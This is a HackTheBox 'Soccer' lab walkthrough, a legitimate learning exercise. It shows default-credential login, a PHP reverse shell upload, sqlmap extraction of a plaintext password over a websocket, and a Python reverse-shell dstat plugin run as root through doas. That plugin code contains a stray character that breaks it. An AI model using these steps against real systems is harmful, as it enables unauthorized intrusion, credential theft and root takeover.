HackTheBox "Soccer"

April 23rd, 2023

Info Card
Info Card

Introduction

Soccer is an easy box released on December 17th, 2022 by sau123.

User Own

Nmap scan:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-23 20:36 EDT
Nmap scan report for soccer.htb (10.10.11.194)
Host is up (0.031s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Soccer - Index 
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Mon, 24 Apr 2023 00:36:23 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Mon, 24 Apr 2023 00:36:23 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=4/23%Time=6445CF02%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\
SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x20139\r\nDate:\x20Mon,\x2024\x20Apr\x202023\x2000:36:23\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang
SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</
SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT
SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol
SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\
SF:r\nDate:\x20Mon,\x2024\x20Apr\x202023\x2000:36:23\x20GMT\r\nConnection:
SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me
SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C
SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT
SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s
SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20
SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Mon,\
SF:x2024\x20Apr\x202023\x2000:36:23\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u
SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\
SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.18 seconds

There is a website being hosted at http://soccer.htb. Subdirectory enumeration reveals a subdirectory called tiny.

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://soccer.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

[Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 35ms]
    * FUZZ: .htaccess

[Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 35ms]
    * FUZZ: .htpasswd

[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 32ms]
    * FUZZ: tiny

:: Progress: [20476/20476] :: Job [1/1] :: 1342 req/sec :: Duration: [0:00:16] :: Errors: 0 ::

http://soccer.htb/tiny is hosting Tiny File Manager. The default admin credentials for Tiny File Manager are the username admin and the password admin@123, which work.

Tiny File Manager
Tiny File Manager

There is a folder called uploads inside tiny that can be accessed at http://soccer.htb/tiny/uploads. A PHP reverse shell can be uploaded and accessed. This gives access to www-data.

nc -nvlp 1234            
listening on [any] 1234 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.11.194] 43378
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 00:43:16 up  2:12,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

Looking inside /etc/hosts:

127.0.0.1       localhost       soccer  soccer.htb      soc-player.soccer.htb

127.0.1.1       ubuntu-focal    ubuntu-focal

There is a subdomain at http://soc-player.soccer.htb. This website is the same as the original, but has login functionality. After signing up, there is a function for checking if a ticket exists.

Ticket Box
Ticket Box

The code for this ticket checking box can be found inside the website.

var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {

var btn = document.getElementById('btn');
var input = document.getElementById('id');

ws.onopen = function (e) {
    console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
    keyOne(e)
});

function keyOne(e) {
    e.stopPropagation();
    if (e.keyCode === 13) {
        e.preventDefault();
        sendText();
    }
}

function sendText() {
    var msg = input.value;
    if (msg.length > 0) {
        ws.send(JSON.stringify({
            "id": msg
        }))
    }
    else append("????????")
}
}

ws.onmessage = function (e) {
    append(e.data)
}

function append(msg) {
    let p = document.querySelector("p");
    // let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
    // p.style.color = randomColor;
    p.textContent = msg
}

There is a web socket at ws://soc-player.soccer.htb:9091. We can use sqlmap to find credentials through the web socket. This can be done using Rayhan0x01's middleware server.

sqlmap -u "http://localhost:8081/?id=1" --batch --dbs

...

available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys

There are 5 databases found, but the one that stands out is soccer_db.

sqlmap -u "http://localhost:8081/?id=1" -D soccer_db --tables

...

Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+

There is 1 table found called accounts.

sqlmap -u "http://localhost:8081/?id=1" -D soccer_db -T accounts --columns

...

Database: soccer_db
Table: accounts
[4 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| email    | varchar(40) |
| id       | int         |
| password | varchar(40) |
| username | varchar(40) |
+----------+-------------+

Checking username:

sqlmap -u "http://localhost:8081/?id=1" -D soccer_db -T accounts -C username --dump

...

Database: soccer_db
Table: accounts
[1 entry]
+----------+
| username |
+----------+
| player   |
+----------+

Checking password:

sqlmap -u "http://localhost:8081/?id=1" -D soccer_db -T accounts -C password --dump

...

Database: soccer_db
Table: accounts
[1 entry]
+----------------------+
| password             |
+----------------------+
| PlayerOftheMatch2022 |
+----------------------+

Checking /home:

ls /home
player

player can be logged into SSH with the same credentials.

ssh [email protected]                             
[email protected]'s password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)

...

Last login: Sun Apr 23 23:58:49 2023 from 10.10.xx.xx
player@soccer:~$ cat user.txt
[USER FLAG HERE]
USER OWN
USER OWN

System Own

Checking /usr/local/etc/doas.conf:

permit nopass player as root cmd /usr/bin/dstat

dstat can be run as root with doas:

doas -u root /usr/bin/dstat

dstat can be used for privilege escalation by using a custom plugin.

/usr/local/share/dstat/dstat_z.py
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.xx.xx",1234))
os.dup2(s.fileno(),0)p
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")

The plugin can then be run:

doas -u root /usr/bin/dstat --z
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
nc -nvlp 1234                
listening on [any] 1234 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.11.194] 42528
# cat /root/root.txt
cat /root/root.txt
[ROOT FLAG HERE]
SYSTEM OWN
SYSTEM OWN

And that's the box!

PWNED
PWNED

Last updated